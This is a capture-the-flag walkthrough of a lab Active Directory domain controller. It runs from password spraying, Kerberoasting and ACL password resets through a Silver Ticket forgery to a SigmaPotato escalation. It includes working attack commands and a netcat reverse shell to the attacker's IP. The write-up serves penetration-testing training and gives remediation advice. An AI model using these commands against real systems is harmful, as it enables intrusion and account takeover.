# OSCP Prep #26

# Nagoya — Proving Grounds Practice Walkthrough

**Author:** Deonte Spencer **Platform:** OffSec Proving Grounds Practice **Difficulty:** Hard **Category:** Active Directory (Full Domain Compromise)

* * *

## Table of Contents

1.  [Introduction](#1-introduction)
    
2.  [High-Level Summary](#2-high-level-summary)
    
    *   2.1 [Recommendations](#21-recommendations)
        
3.  [Methodology](#3-methodology)
    
    *   3.1 [Information Gathering](#31-information-gathering)
        
    *   3.2 [Service Enumeration](#32-service-enumeration)
        
    *   3.3 [Penetration](#33-penetration)
        
    *   3.4 [Maintaining Access](#34-maintaining-access)
        
    *   3.5 [House Cleaning](#35-house-cleaning)
        
4.  [Core Methodology: Wordlist Generation From Target Content](#4-core-methodology-wordlist-generation-from-target-content)
    
5.  [Attack Path](#5-attack-path)
    
    *   5.1 [Initial Access — Web OSINT to Valid Usernames](#51-initial-access--web-osint-to-valid-usernames)
        
    *   5.2 [Initial Access — Password Spraying to a Foothold Credential](#52-initial-access--password-spraying-to-a-foothold-credential)
        
    *   5.3 [Post-Exploitation — Kerberoasting the Service Accounts](#53-post-exploitation--kerberoasting-the-service-accounts)
        
    *   5.4 [Privilege Escalation — ACL Abuse Chain to WinRM Access](#54-privilege-escalation--acl-abuse-chain-to-winrm-access)
        
    *   5.5 [Privilege Escalation — Reaching the Firewalled MSSQL Service](#55-privilege-escalation--reaching-the-firewalled-mssql-service)
        
    *   5.6 [Privilege Escalation — Silver Ticket to SQL Sysadmin](#56-privilege-escalation--silver-ticket-to-sql-sysadmin)
        
    *   5.7 [Privilege Escalation — SeImpersonate to SYSTEM](#57-privilege-escalation--seimpersonate-to-system)
        
    *   5.8 [Post-Exploitation — Proof](#58-post-exploitation--proof)
        
6.  [What Didn't Work](#6-what-didnt-work)
    
7.  [Conclusion](#7-conclusion)
    

* * *

## 1\. Introduction

Nagoya is a Hard-rated Active Directory box on OffSec's Proving Grounds Practice. On paper it's a single host, but that host is a Domain Controller running the full stack of AD services, and the intended path chains together a long series of techniques: web-based OSINT, targeted wordlist generation, password spraying, Kerberoasting, ACL abuse across a chain of users, internal port forwarding, a Silver Ticket forgery, and finally a token-impersonation privilege escalation to SYSTEM.

What makes this box worth writing up isn't any single exploit — it's the *methodology*. The initial foothold hinges entirely on a repeatable protocol I've come to rely on: scrape the target's public content for vocabulary, then transform that vocabulary into password candidates that match how humans actually build passwords. That protocol is the real lesson here, so I've given it its own section rather than burying it in a wall of commands.

This writeup follows the whole chain from an empty terminal to `proof.txt`, and I've tried to explain the reasoning at each decision point rather than just listing what worked.

* * *

## 2\. High-Level Summary

Starting from zero credentials, I enumerated the Domain Controller and confirmed anonymous access was locked down across SMB, RPC, and LDAP. The web server on port 80 leaked a roster of employee names, which I converted into a valid domain username list using `username-anarchy` and `kerbrute`.

I then generated a targeted password spray list from the website's own content using `CeWL` and `hashcat-utils combinator`, and recovered the credential pair `andrea.hayes:Nagoya2023`. From there:

*   **Kerberoasted** the domain's service accounts and cracked `svc_mssql`'s hash offline.
    
*   Used **BloodHound** to map an ACL abuse path (`andrea` → `svc_helpdesk` → `christopher.lewis`) that granted WinRM access.
    
*   **Forwarded** the internally-firewalled MSSQL port off the box with **Ligolo-ng**.
    
*   Forged a **Silver Ticket** to authenticate to MSSQL as a SQL sysadmin, unlocking `xp_cmdshell`.
    
*   Landed a shell as `svc_mssql`, which held **SeImpersonatePrivilege**, and used **SigmaPotato** to escalate to **NT AUTHORITY\\SYSTEM**.
    

All flags were captured. Every step below is reproducible.

### 2.1 Recommendations

At a non-technical level, the compromise of this host came down to a small number of correctable weaknesses, and remediating any one of them would have broken the chain:

*   **Enforce a strong password policy.** The entire foothold rested on a single account using a predictable company-name-plus-year password. Prohibiting organization-specific terms and common `Word+Year` patterns, and enforcing length and complexity, closes the initial door.
    
*   **Harden service accounts.** Two separate escalation steps (Kerberoasting and the Silver Ticket) were only possible because a service account used a weak, crackable password. Group Managed Service Accounts with long random secrets make both attacks infeasible.
    
*   **Audit Active Directory permissions.** The privilege escalation ran entirely through excessive `GenericAll` rights that let ordinary accounts reset other users' passwords. Regular ACL review with tooling like BloodHound would surface and eliminate these paths.
    
*   **Apply least privilege to interactive access and SQL.** Restricting Remote Management Users membership and removing unnecessary `SeImpersonatePrivilege` / `xp_cmdshell` capability would have blocked the final escalation to SYSTEM.
    

* * *

## 3\. Methodology

### 3.1 Information Gathering

The scope of this engagement was a single target host, `192.168.148.21`, to be assessed from an external position with no starting credentials. The objective was to identify the services exposed by the host, determine its role, and work methodically toward a foothold and full compromise.

The engagement began with a full TCP service and version scan against the target — every conclusion that follows is derived from its output:

```plaintext
sudo nmap -sCV -p- 192.168.148.21 -vv -T4
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ced1faca-0322-4522-93b4-e2e54bfd4fe3.png align="center")

The scan immediately established that the target is a **Domain Controller** for the `nagoya-industries.com` domain — the simultaneous presence of DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and AD Web Services (9389) is the defining fingerprint. The `rdp-ntlm-info` NSE script confirmed the naming context:

*   **Domain:** `nagoya-industries.com`
    
*   **NetBIOS name:** `NAGOYA`
    
*   **FQDN:** `nagoya.nagoya-industries.com`
    
*   **OS:** Windows Server 2019 (Build 17763), configured as the Primary Domain Controller
    

SMB signing was enabled and required, which rules out relay attacks later on. The full port breakdown is tabulated in 3.2 below.

Because those conclusions came from the scan, the first action taken on them was to add the discovered FQDN to `/etc/hosts` — Kerberos-aware tooling resolves by hostname and fails on bare IPs:

```plaintext
192.168.148.21    nagoya.nagoya-industries.com nagoya-industries.com nagoya
```

> **Note on the target IP:** Partway through this engagement the box was redeployed and Proving Grounds reassigned it from `192.168.148.21` to `192.168.108.21`. The enumeration screenshots show the original address and the exploitation screenshots show the new one — this is expected, not an inconsistency. Each command below reflects the IP that was live at the time it was run.

### 3.2 Service Enumeration

**Port Scan Results**

The full `-p-` scan from 3.1 returned 23 open TCP ports. The table below lists the notable services that define the target's role; the remainder were high-numbered ephemeral Microsoft RPC ports (`49xxx`) typical of a Windows DC and not individually significant.

| IP Address | Notable Ports Open |
| --- | --- |
| 192.168.148.21 | **TCP:** 53 (DNS), 80 (HTTP/IIS 10), 88 (Kerberos), 135 (MSRPC), 139 (NetBIOS), 389 / 636 / 3268 / 3269 (LDAP / LDAPS / Global Catalog), 445 (SMB), 464 (kpasswd), 593 (RPC-over-HTTP), 3389 (RDP), 5985 (WinRM), 9389 (AD Web Services) |

With the DC identified and its services enumerated, I worked through the low-hanging fruit first: anonymous and guest access to the domain's core services. This is always the cheapest thing to check, and if it lands it can hand you the entire user list for free.

**SMB — null and guest sessions:**

```plaintext
nxc smb 192.168.148.21 -u '' -p '' --shares
nxc smb 192.168.148.21 -u 'guest' -p '' --shares
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a994d3f3-c10a-49e7-b013-aade9b3113cd.png align="center")

The null session authenticated but returned `STATUS_ACCESS_DENIED` on share enumeration, and the guest account came back `STATUS_ACCOUNT_DISABLED`. No free access there.

**RPC — anonymous user enumeration:**

```plaintext
rpcclient -U "" -N 192.168.148.21
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
```

**LDAP — anonymous bind:**

```plaintext
nxc ldap 192.168.148.21 -u '' -p '' --users
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b97b9b55-57dd-4d95-a88e-6b543a692609.png align="center")

LDAP rejected the anonymous search, requiring a successful bind first. Every unauthenticated avenue into the directory was closed. With anonymous enumeration exhausted, I shifted focus to the one service that was still openly accessible: the web server.

### 3.3 Penetration

The full penetration path — from web OSINT through to SYSTEM — is documented target-by-target in the section below. The condensed sequence was: harvest usernames from the website, validate them over Kerberos, spray a self-generated wordlist to obtain a foothold credential, Kerberoast and abuse ACLs to reach an interactive shell, then pivot through a firewalled SQL service via a forged ticket and escalate through token impersonation.

### 3.4 Maintaining Access

This assessment was conducted against a lab target, so persistence mechanisms were intentionally not deployed. In a real engagement, the compromise of the `svc_mssql` account secret alone would be sufficient to forge Silver Tickets for the MSSQL service indefinitely, and full SYSTEM/Domain Controller access would permit extraction of the `krbtgt` hash for Golden Ticket persistence. None of that was necessary here.

### 3.5 House Cleaning

All tooling uploaded to the target during the engagement (`RunasCs.exe`, `agent.exe`, `nc.exe`, `SigmaPotato.exe`) was staged in `C:\ProgramData` and would be removed as part of post-engagement cleanup. All password changes made during ACL abuse were made against lab accounts and would be reported for reset in a real assessment.

* * *

## 4\. Core Methodology: Wordlist Generation From Target Content

Before walking through the attack chain, this section deserves its own spotlight, because it's the technique the entire foothold depends on and it's the most transferable skill the box teaches.

The problem: on a hardened AD box with no anonymous access, your only way in is often a weak password on a valid account. But spraying `rockyou.txt` against a domain is slow, noisy, and — against a lockout policy — dangerous. What you want instead is a *small, precise* list of candidates that reflect how a real person at this specific organization would build a password.

Corporate and lab passwords overwhelmingly follow a predictable grammar: **a meaningful word + a year, with the first letter capitalized**, sometimes with a trailing symbol. `Summer2023`, `Nagoya2023`, `Fishing2024`. The word comes from the organization's world; the year comes from a date on their site. No tool does this end-to-end, so the protocol is a two-stage pipeline: one tool supplies the *vocabulary*, another applies the *grammar*.

**Stage 1 — Scrape the vocabulary with CeWL.**

CeWL spiders a website and extracts every unique word on the page into a wordlist. It's the fastest way to build an organization-specific dictionary — company name, product terms, employee names, industry jargon.

```plaintext
cewl -w newpass.txt -d 2 -m 4 http://nagoya-industries.com/ --with-numbers
```

The flags: `-d 2` sets crawl depth (how many links deep to follow — depth 2 fully covers a small site like this without wasting time re-crawling), `-m 4` sets the minimum word length to filter out noise, and `--with-numbers` tells CeWL to also capture numeric tokens like the `2023` in the site's copyright footer.

A critical thing to understand about CeWL's output: it captures `2023` as its *own standalone entry*. CeWL has no concept of gluing that year onto other words — it only extracts what's literally present as discrete tokens. That concatenation is a separate step, which is exactly the point of Stage 2.

From the raw CeWL output I manually pruned entries that were obviously useless as password bases (stopwords like "that", "have", "where") and kept the meaningful ones: the company name, employee surnames, and industry terms. I also merged in a small curated seed list of common base words, capitalized, to widen the net slightly.

**Stage 2 — Apply the grammar with combinator.**

`combinator.bin` from hashcat-utils takes two wordlists and produces every possible concatenation of a word from the first with a word from the second. By combining my pruned base-word list against a short list of candidate years, I generated the actual spray candidates in the `Word+Year` pattern:

```plaintext
/usr/share/hashcat-utils/combinator.bin neopass.txt newpass.txt > zionpass.txt
```

I verified the pipeline had actually produced viable candidates before spraying:

```plaintext
grep Summer2023 zionpass.txt
Summer2023
```

That confirmation is the whole methodology paying off — my generated list *provably contained* the kind of candidate that unlocks the box, built entirely from the site's own content plus a date I read off the footer.

**Why not just use rule-based mutation (best64, etc.)?** I initially tried `john --rules=best64` against the base words. It's the wrong tool for this pattern. Generic rule sets like best64 mutate via case-toggling, leetspeak substitution, and single-character appends — they're tuned for cracking arbitrary hashes at volume, not for cleanly reconstructing a `word + four-digit-year` concatenation. The stock rules don't reliably chain four sequential digit-appends to bolt "2023" onto a word. Combinator does exactly that, deterministically. **CeWL builds your dictionary, but you have to supply the grammar — and combinator is the right tool for that grammar.**

This is the repeatable protocol I now reach for any time a target exposes public web content and I need a foothold credential:

1.  **Scrape** for vocabulary with CeWL (`--with-numbers`, plus `-a` and `--meta_file` when there's metadata worth pulling).
    
2.  **Identify the convention**, not just the words — look at *how* the site presents dates (copyright footer, "in business since…" claims) and map that to a human password habit.
    
3.  **Generate combinatorially** with `combinator.bin` rather than leaning on generic rule sets.
    
4.  **Always pull the lockout policy first** so the spray doesn't lock accounts.
    

* * *

## 5\. Attack Path

### 5.1 Initial Access — Web OSINT to Valid Usernames

**Vulnerability Explanation:** The public-facing web server discloses a complete roster of employee full names on its team page.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1b310e44-4131-4ae9-9cae-c64b64370e2a.png align="center")

In an Active Directory environment where usernames follow a predictable `first.last` convention, a public employee list is effectively a disclosure of valid domain usernames — the raw material for both password spraying and Kerberos-based attacks.

**Vulnerability Fix:** Avoid publishing complete staff directories on public-facing sites where not operationally necessary. More importantly, enforce a strong password policy and account lockout thresholds so that a known username list cannot be leveraged into access via spraying.

**Severity:** Medium (as an information disclosure; it becomes Critical in combination with the weak password below)

**Steps to reproduce the attack:**

Browsing to the site on port 80 reveals "Nagoya Industries," a fishing company. Two details on the landing page matter immediately: the `© 2023` in the footer (a year for later use), and the navigation.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/31148301-404d-4c5a-bb33-c38590f0af07.png align="center")

A content discovery scan confirmed there were no hidden endpoints beyond what was linked in the navigation:

```plaintext
ffuf -u http://192.168.148.21/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
```

The only meaningful result was the `team` page, which was already linked and which exposed the full list of employee names.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f588564b-baa9-4ff5-9e76-d5df2cd86b94.png align="center")

I saved those names to a file and generated username permutations with `username-anarchy`:

```plaintext
username-anarchy -i users.txt > user.txt
```

This produces a large set of candidate formats (`fiona.clark`, `fclark`, `clarkf`, etc.). To find which format the domain actually uses — and which accounts genuinely exist — I validated the whole list against Kerberos pre-authentication with `kerbrute`, which is non-intrusive and doesn't generate failed-logon events for valid users:

```plaintext
kerbrute userenum userr.txt -d nagoya-industries.com --dc 192.168.148.21
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d71b37f3-7db5-4e30-9253-54f0f4ec0758.png align="center")

This returned **28 valid usernames**, confirming the domain uses the `first.last` format. Critically, this included `andrea.hayes`, `christopher.lewis`, and the accounts that would matter later in the chain.

### 5.2 Initial Access — Password Spraying to a Foothold Credential

**Vulnerability Explanation:** At least one domain account (`andrea.hayes`) was protected by a weak, formulaic password (`Nagoya2023`) built from the company name and a year visible on the corporate website. This password is trivially guessable using content scraped from the organization's own public site.

**Vulnerability Fix:** Enforce a password policy that prohibits passwords containing the company name and rejects predictable `Word+Year` patterns. Implement and monitor account lockout thresholds. Consider deploying a banned-password list seeded with organization-specific terms.

**Severity:** Critical

**Steps to reproduce the attack:**

Using the wordlist generated with the CeWL → combinator pipeline described in the section above, I sprayed the validated username list over SMB using NetExec:

```plaintext
nxc smb 192.168.148.21 -u users.txt -p zionpass.txt --continue-on-success
```

The spray returned a hit:

```plaintext
SMB   192.168.148.21   445   NAGOYA   [+] nagoya-industries.com\andrea.hayes:Nagoya2023
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3162d63a-0d6b-4343-8c78-fd4a6ae48261.png align="center")

With a valid domain credential in hand, share enumeration now succeeded, showing the standard DC shares (`SYSVOL`, `NETLOGON`, `IPC$` as READ). A second credential, `fiona.clark:Summer2023`, was also recovered — a useful illustration of a key AD concept: fiona's credentials worked for SMB and RDP but were rejected for WinRM, because valid domain credentials do not automatically grant interactive access. That distinction becomes the pivot point later in the chain.

### 5.3 Post-Exploitation — Kerberoasting the Service Accounts

**Vulnerability Explanation:** The domain contains service accounts (`svc_helpdesk`, `svc_mssql`) with Service Principal Names registered. Any authenticated domain user can request a Kerberos service ticket for these accounts, which is encrypted with the service account's password hash and can be cracked offline. `svc_mssql` used a weak password that fell to a dictionary attack in seconds.

**Vulnerability Fix:** Use Group Managed Service Accounts (gMSA) or enforce very long (25+ character) random passwords for all SPN-bearing service accounts, making offline cracking infeasible.

**Severity:** High

**Steps to reproduce the attack:**

With any valid credential, the correct first move against a domain is to Kerberoast — it's cheap, it's low-noise, and it only requires an authenticated user regardless of privilege level. I requested TGS tickets for all SPN-bearing accounts using andrea's credentials:

```plaintext
impacket-GetUserSPNs nagoya-industries.com/andrea.hayes -request
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/192069b1-587f-4b39-869e-c1138064a0d5.png align="center")

This returned crackable hashes for two service accounts, `svc_helpdesk` and `svc_mssql`. I saved them and ran them against `rockyou.txt` with John:

```plaintext
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/26d19278-dd95-4bdc-9108-81590f4717a1.png align="center")

The `svc_mssql` hash cracked almost instantly to `Service1`. The `svc_helpdesk` hash did not crack against rockyou, but as it turns out I wouldn't need it to — I'd obtain control of that account a different way.

**A precise note on why this matters, since it's easy to state imprecisely:** Kerberoasting gets you a *crackable credential* for the service account — nothing more at this stage. It does **not** by itself grant any special token or privilege. The reason `svc_mssql` becomes the key to the whole box is separate: because the MSSQL service runs *as* `svc_mssql` on the host, that account is granted `SeImpersonatePrivilege` at the OS level. But that privilege only becomes *usable* once I'm executing code inside the service's process context on the machine — which requires the Silver Ticket and `xp_cmdshell` steps further down. The cracked hash is the credential that eventually gets me there; it is not the privilege itself. Conflating "I Kerberoasted a service account" with "I have SeImpersonate" is a common shortcut, and keeping the two distinct is what makes the rest of the path make sense.

### 5.4 Privilege Escalation — ACL Abuse Chain to WinRM Access

**Vulnerability Explanation:** The `andrea.hayes` account holds `GenericAll` rights over the `svc_helpdesk` account, which in turn holds `GenericAll` over a set of other users — including `christopher.lewis`, a member of the **Remote Management Users** group. `GenericAll` permits an attacker to reset the target's password outright, allowing a chain of account takeovers that terminates at an account with interactive (WinRM) access.

**Vulnerability Fix:** Audit and remediate excessive Active Directory ACLs. No standard user should hold `GenericAll` over other user objects. Apply least-privilege delegation and regularly review object permissions with tooling like BloodHound.

**Severity:** Critical

**Steps to reproduce the attack:**

To understand what andrea's access was actually good for, I collected the domain's object and ACL data with RustHound-CE (a fast, modern BloodHound collector) using her credentials:

```plaintext
rusthound-ce -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com -c All -z -n 192.168.148.21
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/38d899d2-9478-48fd-a710-54e7c82196fb.png align="center")

I ingested the resulting ZIP into BloodHound and ran the "Shortest Paths from Owned Principals" analysis. The graph revealed the outbound control path clearly: andrea (via the `employees` group) has `GenericAll` over `svc_helpdesk` and several other users.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c7f579e8-f453-44b0-aa91-8f49aa764775.png align="center")

Following the chain further, `svc_helpdesk` in turn had control leading to `christopher.lewis` — and christopher's membership in **Remote Management Users** is what makes him the target:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/688ba31c-8226-40f6-9ff4-6f7ebfc421df.png align="center")

that group grants WinRM access, the interactive foothold none of the other accounts provided.

I abused the chain with `bloodyAD`, resetting each target's password in sequence. The first attempt against `svc_helpdesk` was rejected for failing the domain's password complexity requirement — a small but instructive detail — and succeeded once I supplied a compliant password:

```plaintext
bloodyAD -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com --host 192.168.108.21 set password svc_helpdesk 'Password123!'
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/784e1c37-f4ab-4326-bfb6-4a3bc53c9f18.png align="center")

Then I used my newly-controlled `svc_helpdesk` to reset christopher's password in turn:

```plaintext
bloodyAD -u svc_helpdesk -p 'Password123!' -d nagoya-industries.com --host 192.168.108.21 set password christopher.lewis 'Password123!'
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aaa9ea92-5e62-4cea-ab1e-a1234b4d177b.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6416a76b-ff64-4165-bfe5-e466edd2f09a.png align="center")

A NetExec check confirmed christopher now had WinRM access with a `(Pwn3d!)` result, and I connected with Evil-WinRM:

```plaintext
evil-winrm -i 192.168.108.21 -u christopher.lewis -p 'Password123!'
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d0b87d67-8da1-45d9-aa6d-36d147bfacdb.png align="center")

This shell yielded the user flag from `C:\local.txt`:

```plaintext
local.txt: 9a376490a4d65f9b293276aec725c5eb
```

However, `whoami /all` on christopher confirmed he held no useful privileges for escalation — only the defaults (`SeMachineAccountPrivilege`, `SeChangeNotifyPrivilege`, `SeIncreaseWorkingSetPrivilege`). Christopher was never meant to be the escalation vehicle; he was the *interactive access* vehicle. The escalation had to come from elsewhere.

### 5.5 Privilege Escalation — Reaching the Firewalled MSSQL Service

**Vulnerability Explanation:** The host runs a Microsoft SQL Server instance on port 1433 that is bound to all interfaces but blocked at the network perimeter by a host firewall — it does not appear in an external port scan, yet is fully accessible locally on the box. Combined with an interactive foothold, this internally-reachable service becomes a viable escalation vector via `xp_cmdshell`.

**Vulnerability Fix:** Ensure host-based firewall rules are consistent with intent; if MSSQL is meant to be local-only, bind it to loopback rather than relying solely on perimeter filtering. Restrict `xp_cmdshell` and apply least privilege to SQL logins.

**Severity:** High

**Steps to reproduce the attack:**

From christopher's shell, I enumerated locally listening ports:

```plaintext
netstat -ano | findstr LISTEN
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/360bdc47-1c44-424d-8bd9-987b8502da55.png align="center")

Port `1433` was listening — even though it had never appeared in the external nmap scan. The only conclusion is a host firewall blocking it at the perimeter, meaning MSSQL is reachable *only* from on the box itself. This is significant: MSSQL's `xp_cmdshell` procedure allows OS command execution as the account running the SQL service. If I could reach that service and enable `xp_cmdshell`, I'd get command execution as `svc_mssql` — the account I already knew (from the Kerberoast) and, more importantly, the account that would hold `SeImpersonatePrivilege`.

To reach the firewalled port from my attack box, I set up a tunnel with **Ligolo-ng**. I uploaded the agent to the target, started the proxy and listener on my side, and added a route for the tunnel's virtual interface:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3b2da975-b52c-4c1d-9f8a-fd21501cfbd5.png align="center")

```plaintext
# On Kali
sudo ligolo-proxy -selfcert
sudo ip route add 240.0.0.1/32 dev ligolo

# On target (via christopher's shell)
Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.245:11601 -ignore-cert"
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9c71fcbf-f58e-4927-9bbd-3c13fbbe47a8.png align="center")

With the tunnel up and the session started, MSSQL on the target's port 1433 was now reachable through the virtual `240.0.0.1` address as if it were local.

### 5.6 Privilege Escalation — Silver Ticket to SQL Sysadmin

**Vulnerability Explanation:** Because the `svc_mssql` account's password (and therefore its NT hash) is known, an attacker can forge a Kerberos Silver Ticket for the MSSQL service. This ticket can assert arbitrary group membership and impersonate a privileged user (Administrator) *to that specific service*, without ever contacting the KDC — granting SQL sysadmin rights that the `svc_mssql` login itself did not possess.

**Vulnerability Fix:** Rotate service account credentials regularly and use gMSA. Enforce SMB/LDAP signing and, where possible, restrict Kerberos encryption types. Monitor for TGS requests without corresponding TGT requests, which can indicate ticket forgery.

**Severity:** Critical

**Steps to reproduce the attack:**

Authenticating to MSSQL directly with the cracked `svc_mssql:Service1` credentials worked, but the login had no administrative rights inside SQL — attempting to enable `xp_cmdshell` failed:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8be1f527-0bf2-4b5b-ac5e-ecde8aba0788.png align="center")

```plaintext
SQL (NAGOYA-IND\svc_mssql  guest@master)> enable_xp_cmdshell
ERROR: User does not have permission to perform this action.
```

The account could log in but was not a SQL sysadmin. This is precisely the scenario a Silver Ticket solves: I could forge a ticket for the MSSQL service that *claims* to be the Administrator with Domain Admins group membership. The SQL service trusts the ticket implicitly because it's encrypted with the service account's own key, which I possessed.

First I computed the NT hash of the known password:

```plaintext
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
e3a0168bc21cfb88b95c954a5b18f57c
```

Then I forged the ticket with `impacket-ticketer`, supplying the domain SID (pulled from the BloodHound data I'd already collected), the MSSQL SPN, and impersonating the Administrator (user-id 500) with the Domain Users and Domain Admins group RIDs (513, 512):

```plaintext
impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c \
  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
  -domain nagoya-industries.com \
  -spn MSSQL/nagoya.nagoya-industries.com \
  -user-id 500 -groups 513,512 Administrator
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2f5f363e-5d3b-4c83-a983-8f5a147b35a4.png align="center")

I loaded the resulting ticket into my environment:

```plaintext
export KRB5CCNAME="$PWD/Administrator.ccache"
```

And authenticated to MSSQL through the Ligolo tunnel using the forged ticket. This time the connection came back as **Administrator** with a `(Pwn3d!)` result, confirming SQL sysadmin rights:

```plaintext
nxc mssql 240.0.0.1 --use-kcache -x whoami
MSSQL   240.0.0.1   1433   NAGOYA   [+] nagoya-industries.com\Administrator from ccache (Pwn3d!)
MSSQL   240.0.0.1   1433   NAGOYA   nagoya-ind\svc_mssql
```

Note the crux of the technique in that output: the Silver Ticket authenticated me *as Administrator to the SQL service*, which is what unlocked `xp_cmdshell` — but the OS command itself executes as `svc_mssql`, the account the service runs under. That's exactly what I wanted, because `svc_mssql` is the account holding `SeImpersonatePrivilege`.

### 5.7 Privilege Escalation — SeImpersonate to SYSTEM

**Vulnerability Explanation:** The `svc_mssql` service account holds `SeImpersonatePrivilege`. This privilege allows a process to impersonate the security context of any client that connects to it, which can be abused with a "potato"-family exploit to capture and impersonate the SYSTEM token, resulting in full local privilege escalation.

**Vulnerability Fix:** Where feasible, run SQL Server under a Group Managed Service Account with the minimum required privileges, and be aware that `SeImpersonatePrivilege` is a well-known escalation primitive. Keep the OS patched and monitor for the named-pipe and token-manipulation behavior these exploits produce.

**Severity:** Critical

**Steps to reproduce the attack:**

Using the forged-ticket MSSQL access, I staged a netcat binary and used `xp_cmdshell` to fire a reverse shell back to my listener, landing a shell as `svc_mssql`.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/05912da9-9072-4484-aed7-28468e599347.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6c0ddd80-7747-411a-9eb1-89cdc34b4b50.png align="center")

Confirming the privilege set:

```plaintext
PS C:\Windows\system32> whoami /priv
```

The output confirmed `SeImpersonatePrivilege` was present and **Enabled**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2ed1cc54-d90b-4b1f-af69-c38d37e55e96.png align="center")

This is the green light for a potato attack. I uploaded **SigmaPotato** and used it to impersonate the SYSTEM token and spawn a new reverse shell:

```plaintext
.\sp.exe "cmd /c C:\ProgramData\nc.exe -e cmd.exe 192.168.45.245 443"
```

SigmaPotato's output walked through the impersonation cleanly:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1e5cf353-df0b-405b-8540-ea86875b8f86.png align="center")

The new shell landed as **NT AUTHORITY\\SYSTEM**:

```plaintext
C:\ProgramData>whoami
nt authority\system
```

### 5.8 Post-Exploitation — Proof

With SYSTEM access on the Domain Controller, the box was fully compromised. Both flags were retrieved with their host context shown.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/43f79c9f-cfa4-45be-913c-089ef7783114.png align="center")

**Local.txt value:**

The user flag was captured earlier from the Evil-WinRM session as `christopher.lewis` (see 5.4), read from the root of the C: drive:

```plaintext
*Evil-WinRM* PS C:\> type local.txt
9a376490a4d65f9b293276aec725c5eb
```

**Proof.txt value:**

The proof flag was captured from the Administrator's desktop in the final SYSTEM shell:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/54469d83-cd14-41d2-a84f-51500306179f.png align="center")

```plaintext
C:\Users\Administrator\Desktop>whoami && type proof.txt
nt authority\system
e6c616d7a54a5878b928b3174ccb0b57
```

* * *

## 6\. What Didn't Work

Methodical elimination is as much a part of the process as the successful path, so it's worth recording the branches I ruled out:

*   **AS-REP Roasting** was checked and came up empty. Running `impacket-GetNPUsers` against the full user list returned `doesn't have UF_DONT_REQUIRE_PREAUTH set` for every one of the 27 accounts — no account had Kerberos pre-authentication disabled, so this vector was closed.
    
*   **Shadow Credentials / PKINIT** against `svc_helpdesk` failed with `KDC_ERR_PADATA_TYPE_NOSUPP`. This error indicates the domain has no Active Directory Certificate Services (AD CS) / Certificate Authority, so certificate-based authentication has nothing to validate against. This is what pushed me toward a direct `GenericAll` password reset instead — the right call, since the ACL abuse path was the intended one.
    
*   **RunasCs** with the cracked `svc_mssql` credentials failed with a logon-type error (`logon type '2' is not granted`), because the account was only permitted network logons (type 3), not interactive (type 2). This is *why* the path had to route through the MSSQL service rather than a direct `runas`\-style credential swap.
    

* * *

## 7\. Conclusion

Nagoya is a genuinely well-constructed Hard box because it doesn't rely on a single trick — it demands a coherent chain of reasoning where each step unlocks the conditions for the next. The standout lesson, and the reason it's worth studying, is the initial foothold: it rewards a disciplined, repeatable protocol for turning a target's own public content into a precise, effective password spray list. Scrape the vocabulary, supply the grammar, and keep the list small and targeted rather than brute-forcing blindly.

From there the box is a tour of the modern AD attack surface — Kerberoasting, BloodHound-driven ACL abuse, internal pivoting with Ligolo-ng, Silver Ticket forgery, and a classic `SeImpersonate` escalation. Each technique is worth knowing on its own; chaining them under a clear methodology is what turns a hard box into a solved one.
